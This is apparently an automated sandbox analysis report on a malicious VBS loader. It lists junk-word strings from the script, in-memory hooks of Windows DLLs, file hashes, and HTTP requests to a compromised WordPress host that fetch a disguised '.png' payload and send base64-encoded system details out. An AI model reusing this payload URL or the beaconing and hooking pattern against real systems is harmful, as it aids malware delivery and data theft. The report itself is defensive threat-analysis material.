"megalodactylous chestnut-crowned small-tooth big-hoofed sexagesimo-quarto Kval keloids obstinate heterosexually erythrin gardnap abaised Mycelia-sterilia unausterely nonspeaking clothmaking trickiness ferryman cinnamenyl intimous watcheyes portulacas Amersham trigone slayer A-line talers dactylics squamomastoid Thespius phenomenal dealate paraphototropism twin-motored Kosalan half-seas-over phytogeographical postnaris physicks ranula mummying nondepreciable playmare cachucha Deadman laevulin butylated Anacardium quadrisetose Iznik acceptilating outwitter Ranchod Buckle seir-fish cetaceans proadmission nonbiodegradable scrattling electo pursuances rummiest pigeonry Platonical petalodont unetymologic doeskin ASDIC Thrasher Hogg concertize ERAR unhoaxable depolymerized rebill treasurers Pembine agitprop rabbit-ear transcreate abstention recuperative trabant alismaceous monographers self-supportedness dreary-looking peritrochal jamestown-weed element relanced contractive tranq sematrope doctrinarian Demaggio inte" (Indicator: "twitter")
"overreservedness malleableize twice-unpaid Jonesian atwitter superficially propitiate swan-mark electroneutrality moonstruck bureaus barnful rightwards effetmen tankas wherehence deflexure undertitle elasticity cerulific pseudoliberal myzostomidan semi-industrialized shortsightedness polyblast revivifier Christianomastix above-quoted protopatriarchal solidi tumultuous Mirielle retreaded stalko sniggeringly predicating dumaist Germanophobic rhachis Domenic Cortney Defant imborsation enfevers dermatographic cowier biliverdic flobby mwalimu snubbier pro-Indonesian antherids hairsplitting nallah earthlight Lituitidae radiofrequency anglicizes antifungus premissable solemn-mannered fur-clad fraischeur irreviewable hemocyturia cachaemia hobbled back-pedalled peahens Tritylodon dishonorably conchuela spittoon Lareine phacolysis mystico-allegoric palaeoclimatological Catherina manfulness cricketed datelines Seigler agreeably sarcophagous penuchi beetling gallicole Whiteboys thioguanine rufter orthopaedia hardmouthed" (Indicator: "twitter")
"segregator unglassed pseudomnesia unarrogant driddle kiss-off preresponsibility epicedia refeign unscrutinized prehandicapping deviscerate suppliable dinner-dance space-filling foreallot excommunicator swack prereligious Madoc swinesty Coulson soft-pedaled incantatory Clusia Valvata CDR synostose mingle nonpregnant Dinwiddie catvine dukery mapo unimbowed asserters pseudoarticulation nervousness fishweir Pleospora atwitter queasom mug-up hyaloplasma Goldwyn discusses southwestward foxtailed Gratt Kiowas healthguard diaphragms realm-peopling clean-speaking preterchristian yobbos chumming twenty-mark horrendous searchingness hectocotyliferous corpulently tetrachordon misaddrest road-hoggism bistephanic Tellinacea navaids Rabah inbringing undergrad Loxolophodon nundine BEE Voorhis Galatian planish searcher lair wildish spaciality angelophany depoetize transversum odorous Aspidoganoidei langle hyphenations mullets policeman interethnic clastics navigations pneumatomorphic palace Fords stronglike wristwatchs jnana" (Indicator: "twitter")
"ed aleuroscope civet-cat dogmatising dwarfism seismomicrophone PICAO overtops alkene jobbish Kegan ectatic twitterly Pantagruel underling divinyl cascades woodbark EMet dailiness palaeodictyopteran upbrook milkshed demihearse enfree unappeasably rugous veloce Kuan-tung depletable reevacuate sadist gesticulated vesicular elide saturninely chesser platyglossia cellulation Halevi auriphone unhermetic Strathclyde rejoicement ADEW pockwood pseudomeningitis misguidedly straightforwards fixures epidemically re-search Mefitis morphins jockette Liestal usurp entertainingness descriptivism open-airism Maillart dynamization nondeterrent impermeabilization anticephalalgic all-miscreative ontogenist polity dames interlisp loxic cooked talck fishbolt cnemis Gargan Waiguli Finbur jolterheadedness cigarito phytopathological nitwitted niddicock Entellus time-mellowed left-footedness unhawked nonbulbar monkey-face full-trimmed broid auriculariae Hartley undaunted Nelan plane-polarized conductions Kiluba otters waterlilly Pagur" (Indicator: "twitter")
"anships Hampstead sprays Ambrosi photographies out-guard twitterer vacuolary Catie chemotherapist rufter superplus disprovable digitated subbass fruitgrowing lightscot pessary hard-handed backwoodsman collets familiarities postdiscoidal narras gangues rectangularness Sinisian Wealden gold-brick dwindles unmagnetised misarchist BAPCO Ramos Fabria seiren monotriglyph felting half-saved Salvadoran Trento Kipling volitiency promptly anocathartic zibeth rehallow thiozonide havocker oculistic Caite provokingly fornicatress ursine tonnes checkle reomit brachycephalous chloroacetate crumen hypsicephaly doxie strike-a-light antitemperance factorage eunuchal carbonating dimethoxymethane appointable clernly spikedness Indiaman surquidy bicched xanthocyanopsy visceroinhibitory bilgeway orthopaedics prerequisition agateware Ballplatz pseudolegendary attempre absconsa deeds spodomantic pollenproof hyperspeculativeness oilstoned soft-skinned capiases unabbreviated Herter uncreditableness Monroeism tupmen Vandal unsacredly d" (Indicator: "twitter")
"s Haimavati undresses Florencita psychogenically bromaurate slapdab nonangelic copyreader acclivities amaut nonreprehensibleness adaption propretorian synoeky whammed bleekbok vulgars three-bearded twitters Tamma solate lucriferous Solea Wanyamwezi lack-linen provocatory tataupa Diabrotica reaudition OHara disprovide overmodernize missuiting carpometacarpi Ruisdael Phillipe upflash Vetter slang-whanger aerostats molluskan tear-regretted niduses waddlesome sikar uniformization fidalgo oxyanthracene bursar filamentary Pan-German creatorship tussor Fidia lechatelierite precedency medjidie residentiaryship morbify lanose mid-value Viridi knowledgeable Purus substantiating roadsider tailfans loblollies psittacotic aspirata Zaleski outfeeding preterit-present turmoiled Luks rejoinders extollation quasi-confining cryptology shadowiness love-begot overdogmatic Edgard" (Indicator: "twitter")
"phthalide kinnikinnick mis-set accession six-jointed kakistocracies unmurmurously Philo-slav nonmandatory metantimonite accords praline fractionated hierophantes papalize Whitehead gharris foible Salvarsan pleonic greenleek Achomawi sleevefish griege prickly-seeded antereformation probation leaden-souled pannationalism in-marriage pleaches misdescriber pyrenic unnefarious Bobby knucklebones praelect bockey catwort macrostomatous innocency thermoradiotherapy ghostlike immortalizes sahukar unconsultable vulcanizer extravillar essentials polycondensation euclases ovate-subulate Christianised agraffes unsecluding Hilo redeliberating overresponded honeyfogle cupflower Kananga kneestone nonpaid outwarring illiberalized woidre egregiousness numberful betalk denotate petrary twice-wasted florivorous mimmation somniloquent statuses auxoblast squiring curriculums Palaeophis kaik Stahlianism rootle Sihon Cowan stains unsparked ventrosuspension twittered balefulness jaegers Glazunoff Loraine missending greenstuff Caradoc" (Indicator: "twitter")
"veableness stilliform Rocco bourbonize diaheliotropism Ampelidae diciest kilij tourer scutcheoned exemplars comm. proteopexy parigenin Hydrocleis conspue normality greenweed pont-levis Cypro-Minoan sinuatedentate star-throated oxychlor- airplane bemuslined twice-left nonrescission pleb orthogonality Dumfriesshire sheeniest Ludgatian frigiddaria Echidna heehaw chloroma repetitiveness sleepiest unrestorable twitter unwitched bare-kneed loquat gloryless arsenetted storekeepers Anguillidae white-leaf dynamic CT prin uniauriculate desiccating Serpentarius nonspectrally UAR agamobium inpatient gemmiparity moosecall ungrieved convective unalterable viridite acleistocardia turophile sleeky unfooling unbumptious scatterplots scorpionfishes aldovandi aprioristically corkiest silver-corded Amou nonubiquitary Malvern escamotage antagonise nonflagrance circuitable coracial swizzlers Cernuda capable overhostility substrings subgranular nimbated heptylene faint-blue Tamulic tooth-shell pre-Carolingian Orientalia chainmaker" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"wscript.exe" wrote bytes "b84013ac73ffe0" to virtual address "0x75533AD8" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "d83a0200" to virtual address "0x75534E38" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "eeba6b7c" to virtual address "0x72BA1FFC" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "b4360200" to virtual address "0x75534D68" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "d83a5375" to virtual address "0x75540274" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "b4365375" to virtual address "0x755401E4" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "d83a5375" to virtual address "0x75540258" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "c0dfc9771cf9c877ccf8c8770d64ca7700000000c011df7600000000fc3edf7600000000e013df76000000009457077725e0c977c6e0c97700000000bc6a067700000000cf31df760000000093190777000000002c32df7600000000" to virtual address "0x755F1000" (part of module "NSI.DLL")
"wscript.exe" wrote bytes "b4365375" to virtual address "0x75540278" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "d83a5375" to virtual address "0x755401E0" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "b4365375" to virtual address "0x7554025C" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "7d07cd7781edcb77ae86ca77c6e0c977effdcc772d16cb776014cd77478dca77a8e2c9776089ca7700000000ad3765778b2d6577b641657700000000" to virtual address "0x73681000" (part of module "WSHTCPIP.DLL")
"wscript.exe" wrote bytes "b83012ac73ffe0" to virtual address "0x77651368" (part of module "WS2_32.DLL")
"wscript.exe" wrote bytes "d83a5375" to virtual address "0x755401FC" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "b4360200" to virtual address "0x75534EA4" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "0efccc7781edcb77ae86ca77c6e0c977effdcc772d16cb77c0fcc877da8fd3776014cd77478dca77a8e2c9776089ca7700000000ad3765778b2d6577b641657700000000" to virtual address "0x73671000" (part of module "WSHIP6.DLL")
"wscript.exe" wrote bytes "68130000" to virtual address "0x77651680" (part of module "WS2_32.DLL")
"wscript.exe" wrote bytes "b4365375" to virtual address "0x75540200" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "b8c015ac73ffe0" to virtual address "0x755336B4" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "d83a0200" to virtual address "0x75534D78" (part of module "SSPICLI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
MSG_601315.vbs
- Filename
- MSG_601315.vbs
- Size
- 5.5MiB (5761038 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- c48cf4a80bd9f772984dd484ea4274da63a16e68748907122989aab772f5c012
- MD5
- f07e3e00dfb4e464c03d87043c44cdbd
- SHA1
- 519fb6ff498090dc064661eb5f32a67890b85d7e
- ssdeep
- 49152:stsZt9hfUFmow9UQys5UFcmUqxGWUNPh6+iy1oUhs9yQMApzfqm20W0RYgUdY4Pf:z
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total.
- wscript.exe "C:\MSG_601315.vbs" (PID: 1392)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
a-o-concepts.ch
OSINT |
62.2.203.93
TTL: 10799 |
- | Switzerland |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
62.2.203.93 |
80
TCP |
wscript.exe PID: 1392 |
Switzerland |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
62.2.203.93:80 (a-o-concepts.ch) | GET | a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch More Details |
62.2.203.93:80 (a-o-concepts.ch) | GET | a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
local -> 62.2.203.93:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
Extracted Strings
Extracted Files
No significant files were extracted.
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Enforcing malicious verdict, as a reliable source indicates high confidence
- Not all Falcon MalQuery lookups completed in time
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "api-64" are available in the report
- Not all sources for indicator ID "hooks-8" are available in the report
- Not all sources for indicator ID "string-24" are available in the report
- Not all sources for indicator ID "string-5" are available in the report
- Not all strings are visible in the report, because the maximum number of strings was reached (5000)